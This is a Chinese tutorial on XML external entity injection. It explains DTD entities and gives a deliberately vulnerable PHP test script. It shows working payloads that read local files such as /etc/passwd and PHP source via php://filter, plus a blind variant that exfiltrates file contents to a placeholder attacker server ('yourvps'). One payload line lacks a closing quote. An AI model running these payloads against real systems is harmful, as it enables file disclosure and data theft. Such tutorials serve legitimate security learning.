XML实体注入

XML实体注入

感谢chybeta大佬,他的博客让我对这个知识点有很深入的认识。

##1. 基础引入

1.1什么是XML?

XML是一种可扩展标记语言(英语:Extensible Markup Language,简称:XML),是一种标记语言。标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种信息的文章等。如何定义这些标记,既可以选择国际通用的标记语言,比如HTML。被设计用来传输和存储数据。

1.2基础语法

和HTML一样作为一种标记语言,XML也具有传统标记语言的特色。

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<note>
<to>C1em0</to>
<from>XML-inject</from>
</note>

上面的代码中可以看到出,xml语言有着我们熟悉的标签。在第一行是xml的版本和编码。在XML文档中,所有的元素都必须正确的嵌套,形成树形结构。并且整个XML文档中必须要有一个根元素。如上代码,是整个文档的根元素。嵌套在note标签中的则是根的子元素。

同时,所有的XML元素都必须有关闭标签,这点不像html语法那样松散。如果缺失关闭标签,则会导致XML解析失败。

1.3XML实体

实体作为XML中五种简单模块中的一种, 因其用于定义与引用普通文本或者特殊字符,且实体可在内部和外部声明,所以利用其引用的特点就可以构造payload进行攻击。

2.文档定义类型DTD

DTD的作用是定义XML文档的合法构建模块。利用DTD来内部或外部引入实体。

它的基本格式为:<!DOCTYPE 根元素名 [元素的描述]>

2.1内部引入

首先确定格式:<!ENTITY 实体名称 “实体的值”>

现在我们将DTD与XML放在同一个文档中,即构成了实体的内部引入:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY C1em0 "This is an internally introduced entity">
]>
<xxe>
&C1em0;
</xxe>

直接访问该文档,&C1em0就会被解析为“This is an internally introduced entity”并输出。

2.2外部引入

格式:<!ENTITY 实体名称 SYSTEM "URI">

其与内部引入只是多了system与目标的uri,也就是目录。讲到这里应该可以知道xml实体注入攻击的主要目的是进行对目标的目录内容读取,目录遍历。其实也可以利用外部引入进行SSRF攻击。

##3. 应用

###3.1 一般的XXE攻击

测试代码为test.php:

1
2
3
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);

这里的simplexml_load_string是将xml文本生成一个对象。

上面说过,xxe攻击的形式一般是读取源码,所以这里就要一些读取文件的协议,最常用的就是file协议。

现在在windows环境下读取c盘下的target.txt文件,payload:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///c://target.txt">]>
<root>&file;</root>

将payload进行url编码,然后攻击

读取目标文本。

这是在win下,如果换在linux下我们可以直接用于读取用户密码file:///etc/passwd

接下来进行读取php文件,需要注意的是,因为php中含有<,>这样的括号,所以会和xml代码有冲突,所以在读取php、html文档时会导致解析错误。如果要正确读取php文档,我们可以用php中的php://filter协议。
payload:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=test.php">]>
<root>&file;</root>


3.2 Blind XXE

当源码为

1
2
<?php
$xml=simplexml_load_string($_GET['xml']);

也就是没有了回显,这种时候该怎么办呢?接下来就需要vps作为辅助了。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=test.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<data>&send;</data>

vps上的xxe.xml:

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;>">

上述代码在DTD中定义了一个file实体和dtd实体,其中file实体是我们要读取的目标服务器网站的源码。dtd实体是引用vps上的xxe.xml文件。之后我们先引用dtd实体,然后在xxe.xml文件中的all实体,进而调用send实体,再调用payload中的file实体。最终构成了一条从vps上访问目标网站的请求,从而可以从vps上的日志直接看到目标网站上的目标文件源码。

文章目录
  1. 1. XML实体注入
    1. 1.0.1. 1.1什么是XML?
    2. 1.0.2. 1.2基础语法
    3. 1.0.3. 1.3XML实体
  2. 1.1. 2.文档定义类型DTD
    1. 1.1.1. 2.1内部引入
    2. 1.1.2. 2.2外部引入
    3. 1.1.3. 3.2 Blind XXE